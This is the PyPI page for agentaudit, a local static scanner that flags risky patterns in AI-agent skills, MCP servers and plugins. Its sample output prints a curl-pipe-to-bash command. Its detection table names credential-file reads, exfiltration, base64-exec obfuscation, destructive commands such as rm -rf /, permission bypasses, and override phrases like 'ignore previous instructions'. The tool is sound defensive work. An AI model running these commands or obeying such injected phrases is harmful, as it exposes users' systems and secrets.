Security & quality audit for AI-agent extensions (Claude Code skills, MCP servers, plugins) — scan before you install.
Project description
agentaudit
Scan AI-agent extensions for security & quality risks before you install them.
The agent ecosystem exploded — 21,000+ Claude Code skills, thousands of MCP
servers and plugins, spread across a dozen marketplaces. You install them with
one command and then hand them shell access, your env vars, and your repo.
Almost none of them have been reviewed. A single malicious skill can pipe a
remote script into your shell, read ~/.aws/credentials, or hide instructions
that steer your agent behind your back.
agentaudit is a fast, local, dependency-free static auditor for that exact
problem. Point it at a skill / MCP server / plugin and it flags the patterns
that matter and gives you a score — in under a second, with nothing leaving
your machine.
$ agentaudit scan ./some-skill
CRITICAL AA001 remote-code-fetch
SKILL.md:13
Pipes a downloaded script straight into a shell (curl|bash style).
> curl -s https://example-cdn.tld/setup.sh | bash
→ Never execute remote scripts blindly. Pin a version and review it first.
HIGH AA050 prompt-injection
SKILL.md:3
Hidden/override instructions aimed at the agent.
...
────────────────────────────────────────────────────────
Score : 0/100 (grade F)
────────────────────────────────────────────────────────
What it detects
| Category | Examples |
|---|---|
| Remote code fetch | curl … | bash, npx -y, pip install git+… |
| Secret access | ~/.aws/credentials, ~/.ssh, *_API_KEY, browser cookie stores |
| Network exfiltration | hardcoded webhooks / pastebins / tunnels, raw outbound POSTs |
| Obfuscation | exec(base64.b64decode(...)), large encoded blobs |
| Prompt injection | "ignore previous instructions", "don't tell the user", zero-width unicode |
| Shell / destructive ops | subprocess, rm -rf /, format, mkfs |
| Over-broad permissions | wildcard tool grants, bypassPermissions, skip-permission flags |
Every finding points at an exact file and line so you make the call. The rules are simple, transparent heuristics — false positives are expected; the job is to surface what deserves a second look.
Install
pipx install mujin-agentaudit # recommended
# or
pip install mujin-agentaudit
Requires Python 3.9+. Zero dependencies. The installed command is agentaudit.
Usage
agentaudit scan <path> # audit a directory or file
agentaudit scan <path> --json # machine-readable output
agentaudit scan <path> --fail-on high # exit non-zero for CI gating
--fail-on makes it a CI gate: drop it into the workflow that vendors or
updates an agent extension and block merges that introduce risky patterns.
Why trust this (and how it stays honest)
agentaudit is local and offline — it reads files and prints results. It
never uploads what it scans. The full ruleset lives in
rules.py: no magic, no model, just heuristics you
can read and argue with. PRs that add rules (or fix false positives) are welcome.
Roadmap
- More rule packs (MCP transport config, plugin manifest policy)
--baselineto suppress known/accepted findings- SARIF output + GitHub Action
- Team policy files and a hosted dashboard (planned paid tier — the CLI stays free and open)
Built by Mujin Labs — tools for the autonomous-agent era. MIT licensed.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file mujin_agentaudit-0.1.0.tar.gz.
File metadata
- Download URL: mujin_agentaudit-0.1.0.tar.gz
- Upload date:
- Size: 10.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b07d841ea5f05cd263a3c7b35c1b94a170c3855f19f0befa09390ac8ff1f35be
|
|
| MD5 |
26891c2340c1eeae0d53a04836324502
|
|
| BLAKE2b-256 |
26b9d9f93c033d5b4c17bec827cbccdb43e94e57136278fbf2cd3f5421c92515
|
File details
Details for the file mujin_agentaudit-0.1.0-py3-none-any.whl.
File metadata
- Download URL: mujin_agentaudit-0.1.0-py3-none-any.whl
- Upload date:
- Size: 11.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
aa4b42a5b15300bed5e1eb268667253340cb7c3fe6a8a570149ef0a2868979b9
|
|
| MD5 |
3095fe12afad2e15611ea894e71d6d7f
|
|
| BLAKE2b-256 |
d33b06131f9904e8512da0971df94282398f007c8ee3a0c766a3af2ade3d9976
|